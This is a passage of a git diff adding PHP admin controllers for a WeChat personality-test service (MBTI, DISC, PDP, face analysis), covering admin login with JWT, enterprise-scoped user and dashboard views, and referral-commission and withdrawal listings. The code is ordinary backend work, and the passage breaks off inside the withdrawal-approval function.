+ // admin / enterprise_admin 均只能查看本企业的用户
+ $enterpriseId = $user['enterpriseId'] ?? null;
+ if (!$enterpriseId) {
+ $adminRow = Db::name('users')->where('id', $user['userId'] ?? 0)->find();
+ $enterpriseId = $adminRow['enterpriseId'] ?? null;
+ }
+ if ($enterpriseId) {
+ // 使用 user_profile 判断该用户是否属于当前企业(以画像为主表)
+ $has = Db::name('user_profile')
+ ->where('userId', $id)
+ ->where('enterpriseId', $enterpriseId)
+ ->find();
+ if (!$has) {
+ return error('无权限查看该用户', 403);
+ }
+ }
+
+ $row = Db::name('wechat_users')->where('id', $id)->find();
+ if (!$row) {
+ return error('用户不存在', 404);
+ }
+
+ $data = [
+ 'id' => (int) $row['id'],
+ 'username' => $row['nickname'] ?? ('用户' . $row['id']),
+ 'nickname' => $row['nickname'] ?? '',
+ 'avatar' => $row['avatar'] ?? '',
+ 'phone' => $row['phone'] ?? '',
+ 'email' => '',
+ 'gender' => (int) ($row['gender'] ?? 0),
+ 'country' => $row['country'] ?? '',
+ 'province' => $row['province'] ?? '',
+ 'city' => $row['city'] ?? '',
+ 'status' => (int) ($row['status'] ?? 1),
+ 'lastLoginAt' => isset($row['lastLoginAt']) ? (int) $row['lastLoginAt'] : null,
+ 'createdAt' => isset($row['createdAt']) ? (int) $row['createdAt'] : null,
+ 'updatedAt' => isset($row['updatedAt']) ? (int) $row['updatedAt'] : null,
+ ];
+
+ // 测试列表:严格按 test_results.enterpriseId 归属本企业过滤
+ $testQuery = Db::name('test_results')->where('userId', $id);
+ if ($enterpriseId) {
+ $testQuery->where('enterpriseId', $enterpriseId);
+ }
+ $tests = $testQuery
+ ->field('id, testType, resultData, enterpriseId as testEnterpriseId, createdAt, requiresPayment, isPaid, paidAmount, paidAt, orderId')
+ ->order('createdAt', 'desc')
+ ->select()
+ ->toArray();
+ foreach ($tests as &$t) {
+ $raw = $t['resultData'] ?? '';
+ $t['result'] = is_string($raw) ? $raw : json_encode($raw, JSON_UNESCAPED_UNICODE);
+ $t['testScope'] = !empty($t['testEnterpriseId']) ? 'enterprise' : 'personal';
+ unset($t['testEnterpriseId']);
+ }
+
+ $data['testCount'] = count($tests);
+ $data['testList'] = $tests;
+ $data['mbtiType'] = $this->extractResultType($tests, 'mbti');
+ $data['pdpType'] = $this->extractResultType($tests, 'pdp');
+ $data['discType'] = $this->extractResultType($tests, 'disc');
+ $data['faceType'] = $this->extractResultType($tests, 'face');
+ $data['faceMbtiType'] = $this->extractFaceSubType($tests, 'mbti');
+ $data['faceDiscType'] = $this->extractFaceSubType($tests, 'disc');
+ $data['facePdpType'] = $this->extractFaceSubType($tests, 'pdp');
+
+ return success($data);
+ }
+
+ /**
+ * 从测试记录中取出某类型的最近结果(result 可能是 JSON 字符串,取 type 或 result 字段)
+ */
+ private function extractResultType(array $tests, string $type): string
+ {
+ $targetType = strtolower($type);
+ foreach ($tests as $t) {
+ if (strtolower($t['testType'] ?? '') !== $targetType) {
+ continue;
+ }
+ $result = $t['result'] ?? '';
+ if (!is_string($result)) {
+ continue;
+ }
+ $dec = json_decode($result, true);
+ if (!is_array($dec)) {
+ return $targetType === 'face' ? '人脸分析' : trim($result);
+ }
+
+ if ($targetType === 'face') {
+ return '人脸分析';
+ }
+
+ if ($targetType === 'mbti') {
+ return (string) ($dec['mbtiType'] ?? $dec['type'] ?? $dec['result'] ?? '');
+ }
+
+ if ($targetType === 'disc') {
+ $desc = $dec['description']['type'] ?? null;
+ if (is_string($desc) && $desc !== '') {
+ return $desc;
+ }
+ if (!empty($dec['dominantType'])) {
+ return (string) $dec['dominantType'];
+ }
+ return (string) ($dec['disc'] ?? '');
+ }
+
+ if ($targetType === 'pdp') {
+ $desc = $dec['description']['type'] ?? null;
+ if (is_string($desc) && $desc !== '') {
+ return $desc;
+ }
+ if (!empty($dec['dominantType'])) {
+ return (string) $dec['dominantType'];
+ }
+ return (string) ($dec['pdp'] ?? '');
+ }
+
+ return (string) ($dec['type'] ?? $dec['result'] ?? '');
+ }
+ return '';
+ }
+
+ /**
+ * 从人脸分析结果中提取对应的 MBTI / DISC / PDP 文本
+ */
+ private function extractFaceSubType(array $tests, string $subType): string
+ {
+ $target = strtolower($subType);
+ foreach ($tests as $t) {
+ if (strtolower($t['testType'] ?? '') !== 'face') {
+ continue;
+ }
+ $result = $t['result'] ?? '';
+ if (!is_string($result)) {
+ continue;
+ }
+ $dec = json_decode($result, true);
+ if (!is_array($dec)) {
+ continue;
+ }
+
+ if ($target === 'mbti') {
+ if (!empty($dec['mbti']['type'])) {
+ return (string) $dec['mbti']['type'];
+ }
+ if (!empty($dec['mbtiType'])) {
+ return (string) $dec['mbtiType'];
+ }
+ } elseif ($target === 'disc') {
+ if (!empty($dec['disc']['primary'])) {
+ return (string) $dec['disc']['primary'];
+ }
+ if (!empty($dec['disc'])) {
+ return (string) $dec['disc'];
+ }
+ } elseif ($target === 'pdp') {
+ if (!empty($dec['pdp']['primary'])) {
+ return (string) $dec['pdp']['primary'];
+ }
+ if (!empty($dec['pdp'])) {
+ return (string) $dec['pdp'];
+ }
+ }
+ }
+ return '';
+ }
+}
diff --git a/api/app/controller/admin/Auth.php b/api/app/controller/admin/Auth.php
new file mode 100644
index 0000000..9adb4cb
--- /dev/null
+++ b/api/app/controller/admin/Auth.php
@@ -0,0 +1,265 @@
+where('username', $username)
+ ->where('role', 'in', ['admin', 'enterprise_admin']) // 只允许普通管理员和企业管理员登录
+ ->find();
+
+ if (!$user) {
+ return error('用户名或密码错误', 401);
+ }
+
+ // 验证密码
+ if (!password_verify($password, $user['password'])) {
+ return error('用户名或密码错误', 401);
+ }
+
+ // 检查账号状态
+ if ($user['status'] != 1) {
+ return error('账号已被禁用', 403);
+ }
+
+ // 更新登录信息(使用时间戳,驼峰命名)
+ Db::name('users')
+ ->where('id', $user['id'])
+ ->update([
+ 'lastLoginTime' => time(),
+ 'lastLoginIp' => Request::ip(),
+ 'updatedAt' => time()
+ ]);
+
+ // 生成Token
+ $payload = [
+ 'userId' => $user['id'],
+ 'username' => $user['username'],
+ 'role' => $user['role'],
+ 'enterpriseId' => $user['enterpriseId'] ?? null
+ ];
+
+ $token = JwtService::generateToken($payload);
+
+ unset($user['password']);
+
+ return success([
+ 'token' => $token,
+ 'expires_in' => config('jwt.expire'),
+ 'user' => $user
+ ], '登录成功');
+ }
+
+ /**
+ * 管理员登录(新路由:/api/v1/auth/admin/login)
+ * @return \think\response\Json
+ */
+ public function adminLogin()
+ {
+ $username = Request::param('username', '');
+ $password = Request::param('password', '');
+
+ if (empty($username) || empty($password)) {
+ return error('用户名和密码不能为空', 400);
+ }
+
+ // 查找用户(使用原生查询获取密码字段)
+ $user = Db::name('users')
+ ->where('username', $username)
+ ->where('role', 'in', ['admin', 'enterprise_admin']) // 只允许普通管理员和企业管理员
+ ->find();
+
+ if (!$user) {
+ return error('用户名或密码错误', 401);
+ }
+
+ // 验证密码
+ if (!password_verify($password, $user['password'])) {
+ return error('用户名或密码错误', 401);
+ }
+
+ // 检查账号状态
+ if ($user['status'] != 1) {
+ return error('账号已被禁用', 403);
+ }
+
+ // 更新登录信息(使用时间戳,驼峰命名)
+ Db::name('users')
+ ->where('id', $user['id'])
+ ->update([
+ 'lastLoginTime' => time(),
+ 'lastLoginIp' => Request::ip(),
+ 'updatedAt' => time()
+ ]);
+
+ // 生成Token
+ $payload = [
+ 'userId' => $user['id'],
+ 'username' => $user['username'],
+ 'role' => $user['role'],
+ 'enterpriseId' => $user['enterpriseId'] ?? null
+ ];
+
+ $token = JwtService::generateToken($payload);
+
+ unset($user['password']);
+
+ return success([
+ 'token' => $token,
+ 'expires_in' => config('jwt.expire'),
+ 'user' => $user
+ ], '登录成功');
+ }
+
+ /**
+ * 超级管理员登录(新路由:/api/v1/auth/superadmin/login)
+ * @return \think\response\Json
+ */
+ public function superAdminLogin()
+ {
+ $username = Request::param('username', '');
+ $password = Request::param('password', '');
+
+ if (empty($username) || empty($password)) {
+ return error('用户名和密码不能为空', 400);
+ }
+
+ // 查找用户(使用原生查询获取密码字段)
+ $user = Db::name('users')
+ ->where('username', $username)
+ ->where('role', 'superadmin') // 只允许超级管理员
+ ->find();
+
+ if (!$user) {
+ return error('用户名或密码错误', 401);
+ }
+
+ // 验证密码
+ if (!password_verify($password, $user['password'])) {
+ return error('用户名或密码错误', 401);
+ }
+
+ // 检查账号状态
+ if ($user['status'] != 1) {
+ return error('账号已被禁用', 403);
+ }
+
+ // 更新登录信息(使用时间戳,驼峰命名)
+ Db::name('users')
+ ->where('id', $user['id'])
+ ->update([
+ 'lastLoginTime' => time(),
+ 'lastLoginIp' => Request::ip(),
+ 'updatedAt' => time()
+ ]);
+
+ // 生成Token
+ $payload = [
+ 'userId' => $user['id'],
+ 'username' => $user['username'],
+ 'role' => $user['role']
+ ];
+
+ $token = JwtService::generateToken($payload);
+
+ unset($user['password']);
+
+ return success([
+ 'token' => $token,
+ 'expires_in' => config('jwt.expire'),
+ 'user' => $user
+ ], '登录成功');
+ }
+
+ /**
+ * 获取当前登录管理员信息(需要认证)
+ * @return \think\response\Json
+ */
+ public function me()
+ {
+ $user = $this->request->user ?? null;
+
+ if (!$user) {
+ return error('未登录', 401);
+ }
+
+ $userModel = Db::name('users')->where('id', $user['userId'] ?? $user['user_id'] ?? null)->find();
+ if (!$userModel) {
+ return error('用户不存在', 404);
+ }
+
+ // 检查角色(必须是普通管理员或企业管理员,不包括超级管理员)
+ if (!in_array($userModel['role'], ['admin', 'enterprise_admin'])) {
+ return error('无权限访问后台', 403);
+ }
+
+ unset($userModel['password']);
+
+ return success($userModel);
+ }
+
+ /**
+ * 退出登录(需要认证)
+ * @return \think\response\Json
+ */
+ public function logout()
+ {
+ $user = $this->request->user ?? null;
+
+ if ($user && isset($user['userId'])) {
+ JwtService::deleteToken($user['userId']);
+ } elseif ($user && isset($user['user_id'])) {
+ JwtService::deleteToken($user['user_id']);
+ }
+
+ return success(null, '退出成功');
+ }
+
+ /**
+ * 刷新Token
+ * @return \think\response\Json
+ */
+ public function refresh()
+ {
+ $token = JwtService::getTokenFromRequest($this->request);
+
+ if (!$token) {
+ return error('未提供Token', 401);
+ }
+
+ $newToken = JwtService::refreshToken($token);
+
+ if (!$newToken) {
+ return error('Token无效或已过期', 401);
+ }
+
+ return success([
+ 'token' => $newToken,
+ 'expires_in' => config('jwt.expire')
+ ], '刷新成功');
+ }
+}
+
diff --git a/api/app/controller/admin/Dashboard.php b/api/app/controller/admin/Dashboard.php
new file mode 100644
index 0000000..718f7fc
--- /dev/null
+++ b/api/app/controller/admin/Dashboard.php
@@ -0,0 +1,179 @@
+request->user ?? null;
+
+ if (!$user) {
+ return error('未登录', 401);
+ }
+
+ // 验证是否为管理员
+ if (!in_array($user['role'], ['admin', 'enterprise_admin'])) {
+ return error('无权限访问', 403);
+ }
+
+ try {
+ // admin / enterprise_admin 均只统计本企业数据
+ $enterpriseId = $user['enterpriseId'] ?? null;
+ if (!$enterpriseId) {
+ $adminRow = Db::name('users')->where('id', $user['userId'] ?? 0)->find();
+ $enterpriseId = $adminRow['enterpriseId'] ?? null;
+ }
+
+ // 企业用户 ID 集合(用于后续统计个人版测试)
+ $enterpriseUserIds = [];
+ if ($enterpriseId) {
+ $enterpriseUserIds = Db::name('wechat_users')
+ ->where('enterpriseId', $enterpriseId)
+ ->column('id');
+ $enterpriseUserIds = array_values(array_filter($enterpriseUserIds));
+ }
+
+ // 总用户数:wechat_users.enterpriseId = 本企业
+ if ($enterpriseId) {
+ $totalUsers = count($enterpriseUserIds);
+ } else {
+ try {
+ $totalUsers = (int) Db::name('wechat_users')->count('openid', true);
+ } catch (\Throwable $e) {
+ $totalUsers = (int) Db::name('wechat_users')->count();
+ }
+ }
+
+ // 已完成测试数:严格按 test_results.enterpriseId 归属企业统计
+ if ($enterpriseId) {
+ $testsCompleted = (int) Db::name('test_results')
+ ->where('enterpriseId', $enterpriseId)
+ ->count();
+ } else {
+ $testsCompleted = (int) Db::name('test_results')->count();
+ }
+
+ // 今日活跃用户数
+ $todayStart = strtotime(date('Y-m-d 00:00:00'));
+ $todayEnd = strtotime(date('Y-m-d 23:59:59'));
+ $activeQuery = Db::name('test_results')
+ ->where('createdAt', '>=', $todayStart)
+ ->where('createdAt', '<=', $todayEnd);
+ if ($enterpriseId) {
+ $activeQuery->where('enterpriseId', $enterpriseId);
+ $activeIds = $activeQuery->distinct(true)->column('userId');
+ $activeToday = count(array_filter($activeIds));
+ } else {
+ $activeIds = $activeQuery->distinct(true)->column('userId');
+ $activeToday = count(array_filter($activeIds));
+ }
+
+ // 待审核(暂返回0)
+ $pendingReviews = 0;
+
+ // 最近 14 天测试趋势
+ $days = 14;
+ $startDate = strtotime(date('Y-m-d 00:00:00', strtotime('-' . ($days - 1) . ' days')));
+ $trendQuery = Db::name('test_results')
+ ->where('createdAt', '>=', $startDate)
+ ->whereIn('testType', ['face', 'mbti', 'disc', 'pdp']);
+ if ($enterpriseId) {
+ $trendQuery->where('enterpriseId', $enterpriseId);
+ }
+ $trendRows = $trendQuery
+ ->field("FROM_UNIXTIME(createdAt, '%Y-%m-%d') as d, testType, COUNT(*) as c")
+ ->group('d,testType')
+ ->order('d', 'asc')
+ ->select()
+ ->toArray();
+
+ // 组装为按日期汇总的数组
+ $trendMap = [];
+ foreach ($trendRows as $row) {
+ $d = $row['d'];
+ $type = $row['testType'];
+ $cnt = (int) ($row['c'] ?? 0);
+ if (!isset($trendMap[$d])) {
+ $trendMap[$d] = [
+ 'date' => $d,
+ 'face' => 0,
+ 'mbti' => 0,
+ 'disc' => 0,
+ 'pdp' => 0,
+ 'total' => 0,
+ ];
+ }
+ if (in_array($type, ['face', 'mbti', 'disc', 'pdp'], true)) {
+ $trendMap[$d][$type] += $cnt;
+ $trendMap[$d]['total'] += $cnt;
+ }
+ }
+
+ // 补齐没有数据的日期
+ $trendData = [];
+ for ($i = 0; $i < $days; $i++) {
+ $d = date('Y-m-d', strtotime('-' . ($days - 1 - $i) . ' days'));
+ if (isset($trendMap[$d])) {
+ $trendData[] = $trendMap[$d];
+ } else {
+ $trendData[] = [
+ 'date' => $d,
+ 'face' => 0,
+ 'mbti' => 0,
+ 'disc' => 0,
+ 'pdp' => 0,
+ 'total' => 0,
+ ];
+ }
+ }
+
+ return success([
+ 'totalUsers' => $totalUsers,
+ 'testsCompleted' => $testsCompleted,
+ 'activeToday' => $activeToday,
+ 'pendingReviews' => $pendingReviews,
+ 'testTrends' => $trendData,
+ ]);
+ } catch (\Exception $e) {
+ return error('获取统计数据失败:' . $e->getMessage(), 500);
+ }
+ }
+
+ /**
+ * 格式化时间
+ * @param int $timestamp
+ * @return string
+ */
+ private function formatTime($timestamp)
+ {
+ if (!$timestamp) {
+ return '';
+ }
+
+ $now = time();
+ $diff = $now - $timestamp;
+
+ if ($diff < 60) {
+ return '刚刚';
+ } elseif ($diff < 3600) {
+ return floor($diff / 60) . '分钟前';
+ } elseif ($diff < 86400) {
+ return floor($diff / 3600) . '小时前';
+ } elseif ($diff < 604800) {
+ return floor($diff / 86400) . '天前';
+ } else {
+ return date('Y-m-d H:i', $timestamp);
+ }
+ }
+}
diff --git a/api/app/controller/admin/Distribution.php b/api/app/controller/admin/Distribution.php
new file mode 100644
index 0000000..9c470fa
--- /dev/null
+++ b/api/app/controller/admin/Distribution.php
@@ -0,0 +1,772 @@
+request->user ?? null;
+ if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) {
+ return error('无权限', 403);
+ }
+
+ $enterpriseId = (int) ($user['enterpriseId'] ?? 0);
+ $todayStart = strtotime(date('Y-m-d 00:00:00'));
+ $days = 7;
+ $trendStart = strtotime(date('Y-m-d 00:00:00', strtotime('-' . ($days - 1) . ' days')));
+
+ try {
+ $query = Db::name('commission_records')
+ ->where('enterpriseId', $enterpriseId);
+
+ $totalCommission = (clone $query)->whereIn('status', ['paid', 'frozen'])->sum('commissionFen') ?: 0;
+ $paidCommission = (clone $query)->where('status', 'paid')->sum('commissionFen') ?: 0;
+ $frozenCommission = (clone $query)->where('status', 'frozen')->sum('commissionFen') ?: 0;
+ $totalOrders = (clone $query)->whereIn('status', ['paid', 'frozen'])->count();
+ $todayCommission = (clone $query)
+ ->whereIn('status', ['paid', 'frozen'])
+ ->where('createdAt', '>=', $todayStart)
+ ->sum('commissionFen') ?: 0;
+ $pendingCount = (clone $query)->where('status', 'frozen')->count();
+
+ $bindingQuery = Db::name('distribution_bindings')
+ ->where('enterpriseId', $enterpriseId)
+ ->where('status', 'active')
+ ->where('expireAt', '>', time());
+ $bindingCount = (clone $bindingQuery)->count();
+ $totalAgents = (clone $bindingQuery)->distinct(true)->count('inviterId');
+ $todayAgents = Db::name('distribution_bindings')
+ ->where('enterpriseId', $enterpriseId)
+ ->where('createdAt', '>=', $todayStart)
+ ->distinct(true)
+ ->count('inviterId');
+
+ $trendRows = Db::name('commission_records')
+ ->where('enterpriseId', $enterpriseId)
+ ->whereIn('status', ['paid', 'frozen'])
+ ->where('createdAt', '>=', $trendStart)
+ ->field("FROM_UNIXTIME(createdAt, '%Y-%m-%d') as d, SUM(commissionFen) as totalFen")
+ ->group('d')
+ ->order('d', 'asc')
+ ->select()
+ ->toArray();
+ $trendMap = [];
+ foreach ($trendRows as $row) {
+ $trendMap[$row['d']] = (int) ($row['totalFen'] ?? 0);
+ }
+ $commissionTrend = [];
+ for ($i = 0; $i < $days; $i++) {
+ $date = date('Y-m-d', strtotime('-' . ($days - 1 - $i) . ' days'));
+ $commissionTrend[] = [
+ 'date' => $date,
+ 'amount' => round(($trendMap[$date] ?? 0) / 100, 2),
+ ];
+ }
+
+ $productSeries = self::buildProductCommissionSeries($enterpriseId);
+
+ return success([
+ 'totalAgents' => (int) $totalAgents,
+ 'todayAgents' => (int) $todayAgents,
+ 'totalCommission' => number_format($totalCommission / 100, 2, '.', ''),
+ 'todayCommission' => number_format($todayCommission / 100, 2, '.', ''),
+ 'pendingCommission' => number_format($frozenCommission / 100, 2, '.', ''),
+ 'pendingCount' => (int) $pendingCount,
+ 'paidCommission' => number_format($paidCommission / 100, 2, '.', ''),
+ 'frozenCommission' => number_format($frozenCommission / 100, 2, '.', ''),
+ 'totalOrders' => (int) $totalOrders,
+ 'bindingCount' => (int) $bindingCount,
+ 'commissionTrend' => $commissionTrend,
+ 'productCommissionSeries' => $productSeries,
+ ]);
+ } catch (\Exception $e) {
+ return error('获取数据失败:' . $e->getMessage(), 500);
+ }
+ }
+
+ // ─────────────────────────────────────────────────────────────
+ // GET distribution/distributors 分销商列表(有过邀请行为的用户)
+ // ─────────────────────────────────────────────────────────────
+ public function distributors()
+ {
+ $user = $this->request->user ?? null;
+ if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) {
+ return error('无权限', 403);
+ }
+
+ $enterpriseId = (int) ($user['enterpriseId'] ?? 0);
+ $search = trim((string) Request::param('search', ''));
+ $page = max(1, (int) Request::param('page', 1));
+ $pageSize = min(100, (int) Request::param('pageSize', 20));
+
+ try {
+ // 找出与本企业关联的所有有过邀请行为的用户(不限 scope,按 enterpriseId 筛选)
+ $query = Db::name('distribution_bindings')
+ ->where('enterpriseId', $enterpriseId)
+ ->distinct(true)
+ ->field('inviterId')
+ ->buildSql();
+
+ $inviterQuery = Db::name('wechat_users')
+ ->alias('u')
+ ->whereRaw("u.id IN {$query}")
+ ->field('u.id, u.nickname, u.avatar, u.createdAt');
+
+ if ($search !== '') {
+ $inviterQuery->where(function ($q) use ($search) {
+ $q->where('u.nickname', 'like', "%{$search}%")
+ ->whereOr('u.id', '=', is_numeric($search) ? (int)$search : -1);
+ });
+ }
+
+ $total = (clone $inviterQuery)->count();
+ $inviters = $inviterQuery->page($page, $pageSize)->select()->toArray();
+
+ $inviterIds = array_column($inviters, 'id');
+
+ // 各邀请人的累计佣金与可提现佣金
+ $commStats = [];
+ if (!empty($inviterIds)) {
+ $rows = Db::name('commission_records')
+ ->whereIn('inviterId', $inviterIds)
+ ->where('enterpriseId', $enterpriseId)
+ ->field('inviterId,
+ SUM(IF(status IN ("paid","frozen"), commissionFen, 0)) as totalFen,
+ SUM(IF(status = "paid", commissionFen, 0)) as paidFen')
+ ->group('inviterId')
+ ->select()->toArray();
+ foreach ($rows as $r) {
+ $commStats[$r['inviterId']] = $r;
+ }
+
+ // 已提现金额
+ $withdrawnRows = Db::name('distribution_withdrawals')
+ ->whereIn('userId', $inviterIds)
+ // 提现金额统计:0=审核中,2=待收款,3=已收款
+ ->whereIn('status', [0, 2, 3])
+ ->field('userId, SUM(amountFen) as withdrawnFen')
+ ->group('userId')
+ ->select()->toArray();
+ $withdrawnMap = [];
+ foreach ($withdrawnRows as $r) {
+ $withdrawnMap[$r['userId']] = (int)$r['withdrawnFen'];
+ }
+
+ // 团队人数(绑定人数,不限 scope)
+ $teamRows = Db::name('distribution_bindings')
+ ->whereIn('inviterId', $inviterIds)
+ ->where('enterpriseId', $enterpriseId)
+ ->field('inviterId, COUNT(DISTINCT inviteeId) as teamCount')
+ ->group('inviterId')
+ ->select()->toArray();
+ $teamMap = [];
+ foreach ($teamRows as $r) {
+ $teamMap[$r['inviterId']] = (int)$r['teamCount'];
+ }
+ }
+
+ $list = [];
+ foreach ($inviters as $inv) {
+ $uid = $inv['id'];
+ $totalFen = (int)($commStats[$uid]['totalFen'] ?? 0);
+ $paidFen = (int)($commStats[$uid]['paidFen'] ?? 0);
+ $withdrawn = $withdrawnMap[$uid] ?? 0;
+ $avail = max(0, $paidFen - $withdrawn);
+ $list[] = [
+ 'id' => $uid,
+ 'agentName' => $inv['nickname'] ?: ('用户' . $uid),
+ 'avatar' => $inv['avatar'] ?? '',
+ 'totalCommission' => number_format($totalFen / 100, 2, '.', ''),
+ 'availableCommission'=> number_format($avail / 100, 2, '.', ''),
+ 'teamCount' => $teamMap[$uid] ?? 0,
+ 'teamPerformance' => '-',
+ 'inviteCode' => '-',
+ 'level' => '-',
+ 'createdAt' => $inv['createdAt'],
+ ];
+ }
+
+ return success(['list' => $list, 'total' => $total, 'page' => $page, 'pageSize' => $pageSize]);
+ } catch (\Exception $e) {
+ return error('获取分销商列表失败:' . $e->getMessage(), 500);
+ }
+ }
+
+ // ─────────────────────────────────────────────────────────────
+ // GET distribution/bindings 绑定记录列表
+ // ─────────────────────────────────────────────────────────────
+ public function bindings()
+ {
+ $user = $this->request->user ?? null;
+ if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) {
+ return error('无权限', 403);
+ }
+
+ $enterpriseId = (int) ($user['enterpriseId'] ?? 0);
+ $page = max(1, (int) Request::param('page', 1));
+ $pageSize = min(100, (int) Request::param('pageSize', 20));
+ $status = Request::param('status', '');
+ $inviterId = (int) Request::param('inviterId', 0);
+
+ try {
+ $query = Db::name('distribution_bindings')
+ ->alias('b')
+ ->leftJoin('wechat_users inv', 'b.inviterId = inv.id')
+ ->leftJoin('wechat_users invt', 'b.inviteeId = invt.id')
+ ->field('b.*, inv.nickname as inviterName, inv.avatar as inviterAvatar,
+ invt.nickname as inviteeName, invt.avatar as inviteeAvatar')
+ ->where('b.enterpriseId', $enterpriseId);
+
+ if ($inviterId > 0) {
+ $query->where('b.inviterId', $inviterId);
+ }
+ if ($status) {
+ $query->where('b.status', $status);
+ }
+
+ $total = (clone $query)->count();
+ $list = $query->order('b.updatedAt', 'desc')
+ ->page($page, $pageSize)
+ ->select()
+ ->toArray();
+
+ $now = time();
+ foreach ($list as &$row) {
+ $row['remainDays'] = max(0, (int) ceil(($row['expireAt'] - $now) / 86400));
+ $row['inviterName'] = $row['inviterName'] ?: '未知';
+ $row['inviteeName'] = $row['inviteeName'] ?: '未知';
+ }
+
+ return success(['list' => $list, 'total' => $total, 'page' => $page, 'pageSize' => $pageSize]);
+ } catch (\Exception $e) {
+ return error('获取绑定记录失败:' . $e->getMessage(), 500);
+ }
+ }
+
+ // ─────────────────────────────────────────────────────────────
+ // GET distribution/commissions 佣金记录列表
+ // ─────────────────────────────────────────────────────────────
+ public function commissions()
+ {
+ $user = $this->request->user ?? null;
+ if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) {
+ return error('无权限', 403);
+ }
+
+ $enterpriseId = (int) ($user['enterpriseId'] ?? 0);
+ $page = max(1, (int) Request::param('page', 1));
+ $pageSize = min(100, (int) Request::param('pageSize', 20));
+ $status = Request::param('status', '');
+ $inviterId = (int) Request::param('inviterId', 0);
+
+ try {
+ $query = Db::name('commission_records')
+ ->alias('c')
+ ->leftJoin('wechat_users inv', 'c.inviterId = inv.id')
+ ->leftJoin('wechat_users invt', 'c.inviteeId = invt.id')
+ ->field('c.*, inv.nickname as inviterName, inv.avatar as inviterAvatar, invt.nickname as inviteeName, invt.avatar as inviteeAvatar')
+ ->where('c.enterpriseId', $enterpriseId);
+
+ if ($inviterId > 0) {
+ $query->where('c.inviterId', $inviterId);
+ }
+ if ($status) {
+ $query->where('c.status', $status);
+ }
+
+ $total = (clone $query)->count();
+ $list = $query->order('c.createdAt', 'desc')
+ ->page($page, $pageSize)
+ ->select()
+ ->toArray();
+
+ $orderIds = [];
+ $testResultIds = [];
+ foreach ($list as $row) {
+ if (!empty($row['orderId'])) {
+ $orderIds[] = (int) $row['orderId'];
+ }
+ if (!empty($row['testResultId'])) {
+ $testResultIds[] = (int) $row['testResultId'];
+ }
+ }
+
+ $orderTypeMap = [];
+ if (!empty($orderIds)) {
+ $rows = Db::name('test_results')
+ ->whereIn('orderId', array_values(array_unique($orderIds)))
+ ->field('orderId, testType')
+ ->select()
+ ->toArray();
+ foreach ($rows as $item) {
+ $orderTypeMap[(int) $item['orderId']] = self::normalizeTestType($item['testType'] ?? '');
+ }
+ }
+
+ $resultTypeMap = [];
+ if (!empty($testResultIds)) {
+ $rows = Db::name('test_results')
+ ->whereIn('id', array_values(array_unique($testResultIds)))
+ ->field('id, testType')
+ ->select()
+ ->toArray();
+ foreach ($rows as $item) {
+ $resultTypeMap[(int) $item['id']] = self::normalizeTestType($item['testType'] ?? '');
+ }
+ }
+
+ foreach ($list as &$row) {
+ $testType = 'other';
+ if (($row['commissionSource'] ?? '') === 'test_completion' && !empty($row['testResultId'])) {
+ $testType = $resultTypeMap[(int) $row['testResultId']] ?? 'other';
+ } elseif (!empty($row['orderId'])) {
+ $testType = $orderTypeMap[(int) $row['orderId']] ?? 'other';
+ }
+
+ $row['testType'] = $testType;
+ $row['testTypeLabel'] = self::getTestTypeLabel($testType);
+ $row['commissionYuan'] = number_format($row['commissionFen'] / 100, 2, '.', '');
+ $row['orderYuan'] = number_format($row['orderAmount'] / 100, 2, '.', '');
+ }
+
+ return success(['list' => $list, 'total' => $total, 'page' => $page, 'pageSize' => $pageSize]);
+ } catch (\Exception $e) {
+ return error('获取佣金记录失败:' . $e->getMessage(), 500);
+ }
+ }
+
+ // ─────────────────────────────────────────────────────────────
+ // GET distribution/withdrawals 提现申请列表
+ // ─────────────────────────────────────────────────────────────
+ public function withdrawals()
+ {
+ $user = $this->request->user ?? null;
+ if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) {
+ return error('无权限', 403);
+ }
+
+ $enterpriseId = (int) ($user['enterpriseId'] ?? 0);
+ $page = max(1, (int) Request::param('page', 1));
+ $pageSize = min(100, (int) Request::param('pageSize', 20));
+ $status = Request::param('status', '');
+
+ try {
+ $query = Db::name('distribution_withdrawals')
+ ->alias('w')
+ ->join('wechat_users u', 'w.userId = u.id')
+ ->field('w.*, u.nickname, u.avatar')
+ ->where('u.enterpriseId', $enterpriseId);
+
+ if ($status !== '') {
+ // 后台传入可以是字符串或数字,这里统一转 int
+ $query->where('w.status', (int)$status);
+ }
+
+ $total = (clone $query)->count();
+ $list = $query->order('w.createdAt', 'desc')
+ ->page($page, $pageSize)
+ ->select()
+ ->toArray();
+
+ foreach ($list as &$row) {
+ $row['amountYuan'] = number_format($row['amountFen'] / 100, 2, '.', '');
+ $row['nickname'] = $row['nickname'] ?: '未知用户';
+
+ // 确保前端拿到的是数字 status(避免 '0' 和 0 比较异常)
+ $code = (int) ($row['status'] ?? 0);
+ $row['status'] = $code;
+
+ // 统一后台状态文案:0审核中、1已驳回、2待收款、3已收款、4已过期
+ switch ($code) {
+ case 0:
+ $row['statusLabel'] = '审核中';
+ break;
+ case 1:
+ $row['statusLabel'] = '已驳回';
+ break;
+ case 2:
+ $row['statusLabel'] = '待收款';
+ break;
+ case 3:
+ $row['statusLabel'] = '已收款';
+ break;
+ case 4:
+ $row['statusLabel'] = '已过期';
+ break;
+ default:
+ $row['statusLabel'] = '未知';
+ break;
+ }
+ }
+
+ return success(['list' => $list, 'total' => $total, 'page' => $page, 'pageSize' => $pageSize]);
+ } catch (\Exception $e) {
+ return error('获取提现记录失败:' . $e->getMessage(), 500);
+ }
+ }
+
+ // ─────────────────────────────────────────────────────────────
+ // POST distribution/withdrawals/:id/approve 审核通过
+ // ─────────────────────────────────────────────────────────────
+ public function approveWithdrawal(int $id)
+ {
+ $user = $this->request->user ?? null;
+ if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) {
+ return error('无权限', 403);
+ }
+
+ $enterpriseId = (int) ($user['enterpriseId'] ?? 0);
+ $note = Request::param('note', '');
+ $now = time();
+
+ $record = Db::name('distribution_withdrawals')
+ ->alias('w')
+ ->join('wechat_users u', 'w.userId = u.id')
+ ->where('w.id', $id)
+ ->where('u.enterpriseId', $enterpriseId)
+ ->field('w.*, u.openid')
+ ->find();
+ // 仅允许处理审核中(status=0)的记录
+ if (!$record || (int)$record['status'] !== 0) {
+ return error('提现申请不存在、已处理或无权限', 400);
+ }
+
+ try {
+ // 生成商户明细单号:TX + 时间戳 + 随机数(示例:TX202603121526520005)
